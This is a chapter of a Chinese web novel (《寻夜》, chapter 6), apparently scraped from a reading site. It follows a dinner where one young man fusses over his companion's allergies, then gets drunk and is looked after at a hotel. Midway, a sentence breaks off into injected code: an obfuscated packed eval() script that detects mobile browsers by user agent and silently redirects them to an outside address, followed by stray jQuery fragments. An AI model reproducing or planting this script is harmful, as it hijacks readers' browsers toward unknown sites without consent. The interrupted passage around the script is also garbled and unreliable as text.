6. chapter6

作品:《寻夜

    “他不吃羊肉和辣椒!”邢科墨观察到周长礼的动作,喊的声音都略显着急。


    周长礼被他这么一喊,收回手不好意思的挠挠头。


    又上来几个盘子,杨恩把点的一盘烤鱿鱼往叶昭洵的方向推了推:“这个味道不错。”


    “他不吃海鲜!”邢科墨眼疾手快地把盘子又推回去。


    杨恩点头表示了解。


    李宗潞探究的眼神来回在两人身上打量。她试探着向叶昭洵安利烤猪皮,果然又听到邢科墨的说话声。


    “他不吃……嗷!”


    邢科墨话没说完,桌子底下的脚被叶昭洵面带笑容地狠狠踩下去。


    叶昭洵嘴角含着一抹淡淡的笑,礼貌地向李宗潞道谢。


    几分钟下来,叶昭洵面前的盘子被邢科墨放得险些冒尖,而邢科墨自己的却只有孤零零的一个烤串,还是叶昭洵从自己的盘子偷偷转移放过去的。


    坐在叶昭洵对面的李宗潞把两人的小动作观察个彻底,她和旁边的陈棠对视,从彼此的眼里看到了震惊。


    和邢科墨做了两年的同班同学,李宗潞还没看过他对谁这么大献殷勤过,诚然不知这都是邢科墨的习惯在作祟。


    在叶家生活这些年,邢科墨对叶昭洵的口味了如指掌,深知这位少爷的胃有多金贵。


    邢科墨刚到叶家的第三年,带着叶昭洵偷偷出去吃过不少“好东西”。直到有次两人溜去外面吃海鲜粥,一碗粥没喝到三分之一叶昭洵就昏过去了,他才知道叶昭洵海鲜过敏。


    好在送医及时,叶昭洵没什么大碍。


    虽然事后赶来医院的许可女士没说什么,却依然让邢科墨感到愧疚不已。


    在病床上安静输液的叶昭洵醒来以后用懵懂无辜又带着几分可怜兮兮的眼神看他的时候,让他心里的愧疚更是加倍。


    那次出院之后邢科墨记住了叶昭洵的所有忌口,凡事都开始亲力亲为。


    饭吃到一半,周长礼建议上几瓶啤酒。


    邢科墨第一个点头表示同意,叶昭洵愣住,疑狐地抬眸看过去。


    在叶昭洵的记忆里,邢科墨从来没碰过酒。对于他的酒量,叶昭洵没有一点了解。


    这么自信,难道酒量很好?


    啤酒拿上来后,周长礼率先倒了一大杯。叶昭洵对酒类素来不感兴趣,本不想喝,直到余光瞥见邢科墨一口气仰头喝掉大半杯,他鬼使神差也给自己倒了一杯。


    他手指轻轻摩挲着杯子的边缘,低头浅浅抿了一口酒。一股苦涩的味道充斥口腔,不是他喜欢的味道。


    他苦恼地蹙了下眉,把酒杯放回原处。


    酒过三巡,周长礼眼神开始迷离,醉得不省人事。对比之下,邢科墨看上去要好上许多。他的脸颊因为酒意染上一抹绯红,微微垂着头,不知道在想什么。


    看几人吃的差不多,叶昭洵借机提出先带邢科墨回去。


    邢科墨表情懵懵的看过来,叶昭洵暗觉不对劲,朝他打了个响指。


    “回去了。”


    邢科墨听到他说话的声音利落起身,站的笔直。叶昭洵收回想要扶他的手,两人一前一后地走出烧烤店。


    晕红的夕阳向着与天相接之处慢慢下落,阳光照在两人身上,变得朦胧而迷离。


    烧烤店离公交站有段路要走,叶昭洵看邢科墨还能走路,就当作消食和他慢慢压着马路。


    起初都还算正常,直到走到一段大理石台阶的路。


    身后久久没有脚步声,叶昭洵以为他没跟上来,担心的急忙回过头查看。


    就见邢科墨蹲在一节台阶上,修长的手指放在上一个台阶。


    叶昭洵:“?”


    他只得退回去,来到邢科墨身边。发现他不仅把手指放在台阶上,还有节奏的轻轻敲打着。


    叶昭洵:“?”


    邢科墨抬起头,满脸认真的问他:“我弹的怎么样?”


    叶昭洵忍不住扶额,不太想回答他的问题。


    他以为叶昭洵没听清,固执地又问了一遍。


    “我弹的怎么样?”


    合着他是把台阶当成他的钢琴,现场来了个无实物表演。表演也就算了,还强制让唯一的观众给他评价。


    “弹得很好听。”叶昭洵不得不配合道。


    邢科墨很满意地站起身,他四处观察一圈,疑惑不解:“周长礼那小子呢?不是说好吃完饭一起去唱K吗?”


    叶昭洵这时候才意识到邢科墨是真醉了,还醉地不轻。


    邢科墨咧嘴一笑:“那我只能先……”他攥拳把手放到嘴边。


    “死了也要……唔?”


    叶昭洵几乎是下意识用手紧紧捂住他的嘴,街边的行人有的已经好奇的向这边看过来。叶昭洵不想当众丢人,一边死死捂着,一边揽过他的肩低头轻声用哄小孩儿的语气哄他。


    “乖,我们回家唱好不好?”


    因为叶昭洵捂着嘴的动作,两人不自觉靠得很近,邢科墨甚至可以闻到他身上淡淡的橙子洗衣液香味。


    他不能开口说话,只能懵懂地眨眨眼睛,点了点头。


    叶昭洵见状松开手,不知道这个祖宗还会不会有什么逆天操作,他果断决定拦一辆出租车回酒店。


    好不容易折腾到酒店楼下,黄昏已然褪去,路灯下闪烁昏黄的灯晕投射出柔和的光芒。


    叶昭洵艰难地把邢科墨扶回房间,把他放在床边的凳子上坐好。


    坐了半天车又要照顾个醉鬼,他累得全身像散架了一样,一动也不想动。


    他坐在床上休息片刻,打开行李箱拿出自带的浴巾毛巾和睡衣,准备去洗个澡。他目光停留在邢科墨身上,险些被他小学生的坐姿逗笑。


    邢科墨身子坐得笔直,双手交叠,规矩地放在腿上。


    叶昭洵板着脸凶巴巴开口:“我去洗澡,你不许乱走。”


    他走出几步之后,一直在想自己刚才的语气是不是太凶了,迟疑一会儿又走回邢科墨身边,用没拿衣服的那只手轻轻地揉揉他的头发才走进浴室。


    过了良久,浴室里传出水声。


    等叶昭洵洗完澡推开浴室门,就看到邢科墨用手一下一下捏着床上蓝色鲨鱼玩偶的尾巴。


    叶昭洵骤然睁大眼睛,像被踩了尾巴炸毛的猫,眼中的杀意越凝越重。


    如果眼神能杀人,邢科墨可能已经死了一万次。


    迟钝的大脑都能感受到身后汹涌的杀意,邢科墨慢慢地转过头,目


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111082|164049||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    光呆滞,对外界的一切感知都不是很灵活。


    叶昭洵端详他一阵,断定他是真的不清醒,决定今天先放他一马。


    邢科墨殊不知自己已经“在鬼门关走了一遭”,也不再把玩鲨鱼玩偶,只安安静静地坐在椅子上认真地望着叶昭洵。


    怕邢科墨在房间里不安分,叶昭洵洗澡洗的很匆忙。


    他头上还放着毛巾,头发湿漉漉的,水一滴一滴往下流成细细的水线顺着浸到胸口。


    邢科墨放下玩偶转过头来看到的就是这一幕,他紧张地吞了吞口水,脸红到了脖子根。


    叶昭洵背对他用吹风机认真吹着头发,对身后人的反应一无所知。


    他关掉吹风机转过身时,邢科墨一脸心虚地别过头。


    叶昭洵没察觉他奇怪的动作,换上睡衣出了门。


    几分钟过去,他拿着从前台买的醒酒药回到房间。


    他拧开放在桌上的一瓶矿泉水,把水和药粒塞进邢科墨手里,微微扬起下巴:“吃了,明天能好受点。”


    邢科墨闻言抬头,仿佛没听懂他说什么似的,手上半天不见有动作。


    叶昭洵深吸一口气,决定送佛送到西,把水瓶举到他嘴边猛灌一大口。


    他没什么照顾人的经验,一口水灌得邢科墨直接呛住。


    邢科墨急急推开他的手,咳的眼泪都出来了,整个人也清醒不少。


    叶昭洵挑眉看了他一会儿,把鲨鱼玩偶放在床正中间充当两人中间的分界线,然后舒舒服服地躺在床上。


    邢科墨见状主动把灯关上,也乖乖地躺到床上,让叶昭洵倍感欣慰。


    叶昭洵迷迷瞪瞪睡了几小时,感觉身后像是被什么东西勒住,难受得逼着他整个人被迫睁开眼睛。


    他脸色不虞地想转身查看,却发现转不过去。


    叶昭洵:“……”


    邢科墨的胳膊从身后紧紧扣住他的腰,他低头发现被当做分界线的小鲨鱼也不知何时被邢科墨踢到了床的最边缘,而邢科墨什么也不知道,睡得很是踏实。


    叶昭洵脑海里有一瞬间是想把邢科墨一脚踢下床的。但很快这个冲动的想法被他艰难压了下去,他狠狠咬牙,认命地闭上眼睛,强迫自己酝酿睡意。


    第二天一早率先醒过来的人是邢科墨,因为昨晚及时吃了醒酒药睡得还不错,他舒服地睁开眼睛,视线落在脚边的鲨鱼玩偶。


    邢科墨:“???”


    我昨晚抱的不是你吗?


    他视线缓缓上移,看到被自己抱着的人。


    他浑身一僵,小心翼翼地抽出胳膊,一边心虚地眼神四处瞟,一边庆幸没把人弄醒。


    邢科墨走到洗手间打开水龙头掬了一把凉水泼在脸上。昨天干的蠢事渐渐浮现在他脑海中,他脚趾扣地,很想找个地缝钻进去。


    不想那么快面对叶昭洵,邢科墨洗漱完穿上衣服就要下楼买早饭。


    等他拎着袋子回房间后,望见叶昭洵坐在床边。


    因为皮肤白皙,叶昭洵眼下的乌青尤为地明显。


    他转过头看向邢科墨,眼神露出一丝哀怨。


    他幽幽道:“邢科墨,下次出门吃饭你再要喝酒,我一定站出来第一个拦住你。”